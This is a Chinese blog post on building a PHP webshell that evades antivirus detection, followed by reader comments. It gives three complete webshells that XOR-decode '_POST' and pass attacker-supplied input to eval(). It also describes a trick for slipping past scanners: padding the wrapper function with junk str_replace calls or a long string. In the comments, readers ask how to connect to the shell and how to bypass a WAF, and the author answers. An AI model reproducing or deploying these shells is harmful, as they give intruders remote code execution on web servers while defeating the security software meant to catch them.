-
免杀webshell过程中遇到的一些骚操作。
有时候发现安全防护软件真的挺奇葩的。 之前写过一个免杀webshell,用的是assert,但php高版本已经不支持了。 所以打算写个基于eval的webshell。 由于不能用$$a 这种变量绕过。所以只能直接和杀毒软件硬刚eval。 eval(base64_decode(...)); 这种格式已经用烂了。只要检测这种函数组合必报毒。 所以打算用eval(diy_fun(...));的形式绕过 写的过程中发现一个很奇怪的设定 举个例子 这种就报毒 <?php function base64decrypt($str_s) { return ($str_s); } $s = "6aman" ^ "i1\"2:"; $a = ${$s}[a]; eval(base64decrypt($a)) ?> 然后下面这种就不报毒。 <?php function base64decrypt($str_s) { $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); return ($str_s); } $s = "6aman" ^ "i1\"2:"; $a = ${$s}[a]; eval(base64decrypt($a)) ?> 我本地测试了好多次,发现确实与函数中代码多少有关系。 然后继续测试是行数问题还是字符串数量 下面这个不报毒 <?php function base64decrypt($str_s) { $str_s = str_replace("1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111", "", ""); return ($str_s); } $s = "6aman" ^ "i1\"2:"; $a = ${$s}[a]; eval(base64decrypt($a)) ?> 不过问题不是这么简单,不仅仅是函数内容的数量。 比如我把变量$str_s 改成$a。就要在str_replace中的“1111...”的字符串中加上相应的数量。 后来发现该函数名的长短也会受到影响。 这个数量大概实在410 左右。 -
最新评论
Aman 2年前
@阿巴阿巴:define
阿巴阿巴 3年前
如果waf屏蔽了$该怎么绕啊楼主
Aman 3年前
@啊啊:没有,等有空我完善下打包成插件
啊啊 3年前
博主 这个有视频教程吗 没看懂....
Aman 3年前
@波波:密码随意
波波 3年前
这句话的怎么连接啊,楼主
Aman 3年前
Hi